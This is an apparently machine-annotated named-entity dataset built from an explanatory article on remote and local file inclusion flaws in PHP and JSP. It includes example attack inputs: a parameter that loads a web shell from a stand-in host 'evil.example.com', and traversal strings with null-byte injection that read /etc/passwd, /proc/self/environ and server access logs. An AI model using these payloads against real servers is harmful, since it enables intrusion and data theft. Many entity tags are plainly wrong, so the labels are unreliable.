<s>
A	O
file	B-Protocol
inclusion	I-Protocol
vulnerability	I-Protocol
is	O
a	O
type	O
of	O
web	O
vulnerability	O
that	O
is	O
most	O
commonly	O
found	O
to	O
affect	O
web	B-Application
applications	I-Application
that	O
rely	O
on	O
a	O
scripting	O
run	B-Library
time	I-Library
.	O
</s>
<s>
This	O
issue	O
is	O
caused	O
when	O
an	O
application	O
builds	O
a	O
path	O
to	O
executable	O
code	O
using	O
an	O
attacker-controlled	O
variable	O
in	O
a	O
way	O
that	O
allows	O
the	O
attacker	O
to	O
control	O
which	O
file	B-Operating_System
is	O
executed	O
at	O
run	B-Library
time	I-Library
.	O
</s>
<s>
A	O
file	B-Operating_System
include	B-Protocol
vulnerability	I-Protocol
is	O
distinct	O
from	O
a	O
generic	O
directory	B-Protocol
traversal	I-Protocol
attack	I-Protocol
,	O
in	O
that	O
directory	B-Protocol
traversal	I-Protocol
is	O
a	O
way	O
of	O
gaining	O
unauthorized	O
file	B-Application
system	I-Application
access	O
,	O
and	O
a	O
file	B-Protocol
inclusion	I-Protocol
vulnerability	I-Protocol
subverts	O
how	O
an	O
application	O
loads	O
code	O
for	O
execution	O
.	O
</s>
<s>
Successful	O
exploitation	O
of	O
a	O
file	B-Protocol
inclusion	I-Protocol
vulnerability	I-Protocol
will	O
result	O
in	O
remote	O
code	O
execution	O
on	O
the	O
web	B-Application
server	I-Application
that	O
runs	O
the	O
affected	O
web	B-Application
application	I-Application
.	O
</s>
<s>
An	O
attacker	O
can	O
use	O
remote	O
code	O
execution	O
to	O
create	O
a	O
web	B-Protocol
shell	I-Protocol
on	O
the	O
web	B-Application
server	I-Application
,	O
which	O
can	O
be	O
used	O
for	O
website	O
defacement	O
.	O
</s>
<s>
Remote	B-Protocol
file	I-Protocol
inclusion	I-Protocol
(	O
RFI	O
)	O
occurs	O
when	O
the	O
web	B-Application
application	I-Application
downloads	O
and	O
executes	O
a	O
remote	O
file	B-Operating_System
.	O
</s>
<s>
These	O
remote	O
files	O
are	O
usually	O
obtained	O
in	O
the	O
form	O
of	O
an	O
HTTP	B-Protocol
or	O
FTP	B-Protocol
URI	B-Protocol
as	O
a	O
user-supplied	O
parameter	O
to	O
the	O
web	B-Application
application	I-Application
.	O
</s>
<s>
Local	O
file	B-Operating_System
inclusion	O
(	O
LFI	O
)	O
is	O
similar	O
to	O
a	O
remote	B-Protocol
file	I-Protocol
inclusion	I-Protocol
vulnerability	O
except	O
instead	O
of	O
including	O
remote	O
files	O
,	O
only	O
local	O
files	O
i.e.	O
</s>
<s>
This	O
issue	O
can	O
still	O
lead	O
to	O
remote	O
code	O
execution	O
by	O
including	O
a	O
file	B-Operating_System
that	O
contains	O
attacker-controlled	O
data	O
such	O
as	O
the	O
web	B-Application
server	I-Application
's	O
access	O
logs	O
.	O
</s>
<s>
In	O
PHP	B-Application
the	O
main	O
cause	O
is	O
due	O
to	O
the	O
use	O
of	O
unvalidated	O
user-input	O
with	O
a	O
filesystem	B-Application
function	O
that	O
includes	O
a	O
file	B-Operating_System
for	O
execution	O
.	O
</s>
<s>
Most	O
of	O
the	O
vulnerabilities	O
can	O
be	O
attributed	O
to	O
novice	O
programmers	O
not	O
being	O
familiar	O
with	O
all	O
of	O
the	O
capabilities	O
of	O
the	O
PHP	B-Application
programming	I-Application
language	I-Application
.	O
</s>
<s>
The	O
PHP	B-Application
language	I-Application
has	O
a	O
directive	O
which	O
,	O
if	O
enabled	O
,	O
allows	O
filesystem	B-Application
functions	O
to	O
use	O
a	O
URL	O
to	O
retrieve	O
data	O
from	O
remote	O
locations	O
.	O
</s>
<s>
The	O
directive	O
is	O
allow_url_fopen	O
in	O
PHP	B-Application
versions	O
<=	O
4.3.4	O
and	O
allow_url_include	O
since	O
PHP	B-Application
5.2.0	O
.	O
</s>
<s>
In	O
PHP	B-Application
5.x	O
this	O
directive	O
is	O
disabled	O
by	O
default	O
,	O
in	O
prior	O
versions	O
it	O
was	O
enabled	O
by	O
default	O
.	O
</s>
<s>
Consider	O
this	O
PHP	B-Application
script	I-Application
which	O
includes	O
a	O
file	B-Operating_System
specified	O
by	O
request	O
:	O
</s>
<s>
The	O
developer	O
intended	O
to	O
read	O
in	O
english.php	O
or	O
french.php	O
,	O
which	O
will	O
alter	O
the	O
application	O
's	O
behavior	O
to	O
display	O
the	O
language	O
of	O
the	O
user	O
's	O
choice	O
.	O
</s>
<s>
/vulnerable.php	O
?	O
language	O
=	O
http://evil.example.com/webshell.txt	O
?	O
</s>
<s>
/vulnerable.php	O
?	O
language	O
=	O
C:\\notes.txt%00	O
-	O
example	O
using	O
NULL	O
meta	B-Algorithm
character	I-Algorithm
to	O
remove	O
the	O
.php	B-Application
suffix	O
,	O
allowing	O
access	O
to	O
files	O
other	O
than	O
.php	B-Application
.	O
</s>
<s>
This	O
use	O
of	O
null	O
byte	O
injection	O
was	O
patched	O
in	O
PHP	B-Application
5.3	O
,	O
and	O
can	O
no	O
longer	O
be	O
used	O
for	O
LFI/RFI	O
attacks	O
.	O
</s>
<s>
/vulnerable.php	O
?	O
language	O
=../../../../../	O
etc/passwd	O
%00	O
-	O
allows	O
an	O
attacker	O
to	O
read	O
the	O
contents	O
of	O
the	O
/etc/passwd	O
file	B-Operating_System
on	O
a	O
Unix-like	B-Operating_System
system	I-Operating_System
through	O
a	O
directory	B-Protocol
traversal	I-Protocol
attack	I-Protocol
.	O
</s>
<s>
/vulnerable.php	O
?	O
language	O
=../../../../../	O
proc/self/environ	O
%00	O
-	O
allows	O
an	O
attacker	O
to	O
read	O
the	O
contents	O
of	O
the	O
/proc/self/environ	O
file	B-Operating_System
on	O
a	O
Unix-like	B-Operating_System
system	I-Operating_System
through	O
a	O
directory	B-Protocol
traversal	I-Protocol
attack	I-Protocol
.	O
</s>
<s>
An	O
attacker	O
can	O
modify	O
a	O
HTTP	B-Protocol
header	O
(	O
such	O
as	O
User-Agent	O
)	O
in	O
this	O
attack	O
to	O
be	O
PHP	B-Application
code	O
to	O
exploit	O
remote	O
code	O
execution	O
.	O
</s>
<s>
A	O
safer	O
solution	O
is	O
to	O
use	O
a	O
predefined	O
Switch/Case	O
statement	O
to	O
determine	O
which	O
file	B-Operating_System
to	O
include	O
rather	O
than	O
use	O
a	O
URL	O
or	O
form	O
parameter	O
to	O
dynamically	O
generate	O
the	O
path	O
.	O
</s>
<s>
JavaServer	B-Language
Pages	I-Language
(	O
JSP	O
)	O
is	O
a	O
scripting	O
language	O
which	O
can	O
include	O
files	O
for	O
execution	O
at	B-Library
runtime	I-Library
.	O
</s>
<s>
The	O
following	O
script	O
is	O
vulnerable	O
to	O
a	O
file	B-Protocol
inclusion	I-Protocol
vulnerability	I-Protocol
:	O
</s>
<s>
/vulnerable.jsp	O
?	O
p	O
=../../../../	O
var/log/access.log	O
%00	O
-	O
Unlike	O
PHP	B-Application
,	O
JSP	O
is	O
still	O
affected	O
by	O
Null	O
byte	O
injection	O
,	O
and	O
this	O
param	O
will	O
execute	O
JSP	O
commands	O
found	O
in	O
the	O
web	B-Application
server	I-Application
's	O
access	O
log	O
.	O
</s>
<s>
A	O
Server	O
Side	O
Include	O
is	O
very	O
uncommon	O
and	O
are	O
not	O
typically	O
enabled	O
on	O
a	O
default	O
web	B-Application
server	I-Application
.	O
</s>
<s>
A	O
server-side	O
include	O
can	O
be	O
used	O
to	O
gain	O
remote	O
code	O
execution	O
on	O
a	O
vulnerable	O
web	B-Application
server	I-Application
.	O
</s>
<s>
The	O
above	O
code	O
is	O
not	O
an	O
XSS	O
vulnerability	O
,	O
but	O
rather	O
including	O
a	O
new	O
file	B-Operating_System
to	O
be	O
executed	O
by	O
the	O
server	O
.	O
</s>
